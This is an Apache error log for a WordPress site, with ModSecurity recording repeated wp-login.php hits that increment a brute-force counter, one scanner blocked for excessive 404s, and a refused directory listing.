[Mon Nov 17 23:33:39.037105 2025] [:error] [pid 32753:tid 32759] [client 162.0.232.117:49446] [client 162.0.232.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.117, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtAU06YNqI5vkht9224-gAAA8M"]
[Mon Nov 17 23:33:40.231805 2025] [:error] [pid 32753:tid 32758] [client 162.0.232.117:49446] [client 162.0.232.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.117, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtAVE6YNqI5vkht9224-wAAA8I"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 17 23:35:42.471920 2025] [:error] [pid 31419:tid 31433] [client 198.54.114.111:57340] [client 198.54.114.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtAzgHQ5Sbp7elmDZi7hgAAAow"]
[Mon Nov 17 23:35:43.786885 2025] [:error] [pid 31419:tid 31423] [client 198.54.114.111:57340] [client 198.54.114.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtAzwHQ5Sbp7elmDZi7iAAAAoI"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 17 23:39:08.597765 2025] [autoindex:error] [pid 40548:tid 40554] [client 37.60.246.231:60659] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Nov 17 23:54:24.955705 2025] [:error] [pid 15888:tid 15895] [client 162.254.39.56:53088] [client 162.254.39.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.254.39.56, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtFMAjAdDTBm4W3qW1SvgAAAcQ"]
[Mon Nov 17 23:54:26.616679 2025] [:error] [pid 15888:tid 15893] [client 162.254.39.56:53088] [client 162.254.39.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.254.39.56, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtFMgjAdDTBm4W3qW1SwQAAAcI"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 17 23:54:44.319130 2025] [:error] [pid 39537:tid 39551] [client 162.0.232.211:40058] [client 162.0.232.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.211, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtFRIZRrh1pcrdcLB_a5wAAAMs"]
[Mon Nov 17 23:54:45.540066 2025] [:error] [pid 39537:tid 39555] [client 162.0.232.211:40058] [client 162.0.232.211] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.211, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtFRYZRrh1pcrdcLB_a6AAAAM8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 00:00:55.573437 2025] [:error] [pid 31419:tid 31429] [client 51.57.73.118:1929] [client 51.57.73.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/function.php"] [unique_id "aRtGtwHQ5Sbp7elmDZi_mgAAAog"]
[Tue Nov 18 00:00:55.949405 2025] [:error] [pid 65302:tid 65324] [client 51.57.73.118:1937] [client 51.57.73.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/function.php"] [unique_id "aRtGtwPMSx2v85r8y7wk_wAAAVQ"]
[Tue Nov 18 00:00:56.461985 2025] [:error] [pid 20913:tid 20917] [client 51.57.73.118:2047] [client 51.57.73.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/function.php"] [unique_id "aRtGuOkafGNeN3nY1bd_yAAAA0I"]
[Tue Nov 18 00:00:57.175781 2025] [:error] [pid 39449:tid 39464] [client 51.57.73.118:1986] [client 51.57.73.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/function.php"] [unique_id "aRtGuaUCymTA3MDfzLOKHQAAAAo"]
[Tue Nov 18 00:04:45.477410 2025] [:error] [pid 39449:tid 39476] [client 162.0.229.14:58232] [client 162.0.229.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.229.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtHnaUCymTA3MDfzLOKwgAAABY"]
[Tue Nov 18 00:04:46.811768 2025] [:error] [pid 39449:tid 39460] [client 162.0.229.14:58232] [client 162.0.229.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.229.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtHnqUCymTA3MDfzLOKwwAAAAY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 00:05:11.197966 2025] [:error] [pid 31419:tid 31440] [client 66.29.146.29:47278] [client 66.29.146.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.29, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtHtwHQ5Sbp7elmDZjAZwAAApM"]
[Tue Nov 18 00:05:12.388472 2025] [:error] [pid 31419:tid 31421] [client 66.29.146.29:47278] [client 66.29.146.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.29, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtHuAHQ5Sbp7elmDZjAaQAAAoA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 00:18:57.510281 2025] [:error] [pid 31419:tid 31440] [client 27.254.134.67:41590] [client 27.254.134.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 27.254.134.67, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtK8QHQ5Sbp7elmDZjC0AAAApM"]
[Tue Nov 18 00:21:27.844972 2025] [:error] [pid 40793:tid 40858] [client 27.254.134.67:45516] [client 27.254.134.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 27.254.134.67, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtLhwzccxeNeH-NUVgTYAAAAEg"]
[Tue Nov 18 00:21:30.391952 2025] [:error] [pid 40793:tid 40866] [client 27.254.134.67:45516] [client 27.254.134.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 27.254.134.67, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtLigzccxeNeH-NUVgTZAAAAFA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 00:27:49.592166 2025] [:error] [pid 40553:tid 40568] [client 173.249.63.203:46062] [client 173.249.63.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.63.203, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtNBduLE1BqoX0RcsLWFgAAAAA"]
[Tue Nov 18 00:27:53.248633 2025] [:error] [pid 40553:tid 40586] [client 173.249.63.203:46062] [client 173.249.63.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.63.203, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtNCduLE1BqoX0RcsLWGAAAABE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 00:32:25.234808 2025] [:error] [pid 40562:tid 40627] [client 143.110.189.28:47834] [client 143.110.189.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.189.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtOGR18kaCmPuHE4a_6yQAAAUQ"]
[Tue Nov 18 00:32:26.749080 2025] [:error] [pid 40562:tid 40644] [client 143.110.189.28:47834] [client 143.110.189.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.189.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtOGh18kaCmPuHE4a_6ygAAAVU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 00:37:54.549703 2025] [:error] [pid 40561:tid 40599] [client 198.187.29.123:44040] [client 198.187.29.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtPYpdU597fIdQPRD-wawAAAMM"]
[Tue Nov 18 00:37:55.948044 2025] [:error] [pid 40561:tid 40597] [client 198.187.29.123:44040] [client 198.187.29.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtPY5dU597fIdQPRD-wbwAAAME"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 01:07:27.967112 2025] [:error] [pid 40562:tid 40633] [client 43.205.119.78:54432] [client 43.205.119.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.205.119.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtWTx18kaCmPuHE4a8HYQAAAUo"]
[Tue Nov 18 01:07:29.251976 2025] [:error] [pid 40562:tid 40624] [client 43.205.119.78:54432] [client 43.205.119.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.205.119.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtWUR18kaCmPuHE4a8HZQAAAUE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 01:09:58.772402 2025] [:error] [pid 40793:tid 40862] [client 5.175.47.32:42046] [client 5.175.47.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.175.47.32, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtW5gzccxeNeH-NUVgmFAAAAEw"]
[Tue Nov 18 01:10:00.930707 2025] [:error] [pid 40793:tid 40855] [client 5.175.47.32:42046] [client 5.175.47.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.175.47.32, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtW6AzccxeNeH-NUVgmFQAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 01:18:51.741449 2025] [:error] [pid 40561:tid 40604] [client 198.54.114.94:43662] [client 198.54.114.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.94, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtY-5dU597fIdQPRD-9xAAAAMg"]
[Tue Nov 18 01:18:53.171923 2025] [:error] [pid 40561:tid 40615] [client 198.54.114.94:43662] [client 198.54.114.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.94, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtY_ZdU597fIdQPRD-9xQAAANM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 01:19:12.122430 2025] [:error] [pid 40553:tid 40587] [client 198.187.29.236:41460] [client 198.187.29.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtZENuLE1BqoX0RcsLldgAAABI"]
[Tue Nov 18 01:19:13.535844 2025] [:error] [pid 40553:tid 40568] [client 198.187.29.236:41460] [client 198.187.29.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.187.29.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtZEduLE1BqoX0RcsLldwAAAAA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 01:49:21.945789 2025] [:error] [pid 39189:tid 39207] [client 198.54.126.122:43118] [client 198.54.126.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.126.122, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtgIZJJLi753QwyqGzmkAAAAI4"]
[Tue Nov 18 01:49:23.638340 2025] [:error] [pid 39189:tid 39216] [client 198.54.126.122:43118] [client 198.54.126.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.126.122, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtgI5JJLi753QwyqGzmmgAAAJc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 01:49:47.183444 2025] [:error] [pid 39189:tid 39212] [client 198.54.114.106:56520] [client 198.54.114.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.106, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtgO5JJLi753QwyqGzm2gAAAJM"]
[Tue Nov 18 01:49:48.817897 2025] [:error] [pid 39189:tid 39205] [client 198.54.114.106:56520] [client 198.54.114.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.106, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtgPJJJLi753QwyqGzm4QAAAIw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 01:50:08.307910 2025] [:error] [pid 39189:tid 39195] [client 198.54.114.113:35168] [client 198.54.114.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.113, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtgUJJJLi753QwyqGznEAAAAII"]
[Tue Nov 18 01:50:09.606998 2025] [:error] [pid 39189:tid 39199] [client 198.54.114.113:35168] [client 198.54.114.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.113, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtgUZJJLi753QwyqGznFQAAAIY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 01:53:10.853092 2025] [:error] [pid 40562:tid 40646] [client 173.249.63.203:36380] [client 173.249.63.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.63.203, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRthBh18kaCmPuHE4a8ZGAAAAVc"]
[Tue Nov 18 01:53:13.116154 2025] [:error] [pid 40562:tid 40639] [client 173.249.63.203:36380] [client 173.249.63.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.63.203, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRthCR18kaCmPuHE4a8ZGwAAAVA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 01:59:29.976949 2025] [:error] [pid 40562:tid 40647] [client 185.56.74.49:56116] [client 185.56.74.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.56.74.49, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtigR18kaCmPuHE4a8cAgAAAVg"]
[Tue Nov 18 01:59:31.864321 2025] [:error] [pid 40562:tid 40628] [client 185.56.74.49:56116] [client 185.56.74.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.56.74.49, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtigx18kaCmPuHE4a8cBgAAAUU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 02:10:08.647250 2025] [:error] [pid 40562:tid 40625] [client 43.205.119.78:39702] [client 43.205.119.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.205.119.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtlAB18kaCmPuHE4a8fMQAAAUI"]
[Tue Nov 18 02:10:11.297246 2025] [:error] [pid 40562:tid 40642] [client 43.205.119.78:39702] [client 43.205.119.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.205.119.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtlAx18kaCmPuHE4a8fNQAAAVM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 02:20:31.953714 2025] [:error] [pid 40561:tid 40601] [client 68.65.120.107:39196] [client 68.65.120.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.120.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtnb5dU597fIdQPRD_TQAAAAMU"]
[Tue Nov 18 02:20:33.860480 2025] [:error] [pid 40561:tid 40600] [client 68.65.120.107:39196] [client 68.65.120.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.120.107, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtncZdU597fIdQPRD_TQgAAAMQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 02:22:24.013805 2025] [:error] [pid 40561:tid 40618] [client 164.92.134.102:38684] [client 164.92.134.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.134.102, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtn4JdU597fIdQPRD_UBwAAANY"]
[Tue Nov 18 02:22:28.956122 2025] [:error] [pid 40561:tid 40596] [client 164.92.134.102:38684] [client 164.92.134.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.134.102, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtn5JdU597fIdQPRD_UCQAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 03:15:43.880825 2025] [:error] [pid 25054:tid 25066] [client 43.205.119.78:35232] [client 43.205.119.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.205.119.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRt0X7kemTDclsD2J9jgUgAAA4k"]
[Tue Nov 18 03:15:46.965088 2025] [:error] [pid 25054:tid 25064] [client 43.205.119.78:35232] [client 43.205.119.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.205.119.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRt0YrkemTDclsD2J9jgZwAAA4c"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 03:34:43.255637 2025] [:error] [pid 11968:tid 12021] [client 66.29.153.108:43954] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRt40yXd29tbwxi5Fj25JAAAAE8"]
[Tue Nov 18 03:34:44.958518 2025] [:error] [pid 11968:tid 12020] [client 66.29.153.108:43954] [client 66.29.153.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.153.108, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRt41CXd29tbwxi5Fj25JgAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 18 04:05:57.101441 2025] [:error] [pid 61391:tid 61403] [client 66.29.141.104:53186] [client 66.29.141.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.141.104, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuAJYwXIKmhlnkP3-c-IAAAAAM"]
[Tue Nov 18 04:05:58.266503 2025] [:error] [pid 61391:tid 61405] [client 66.29.141.104:53186] [client 66.29.141.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.141.104, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRuAJowXIKmhlnkP3-c-IQAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
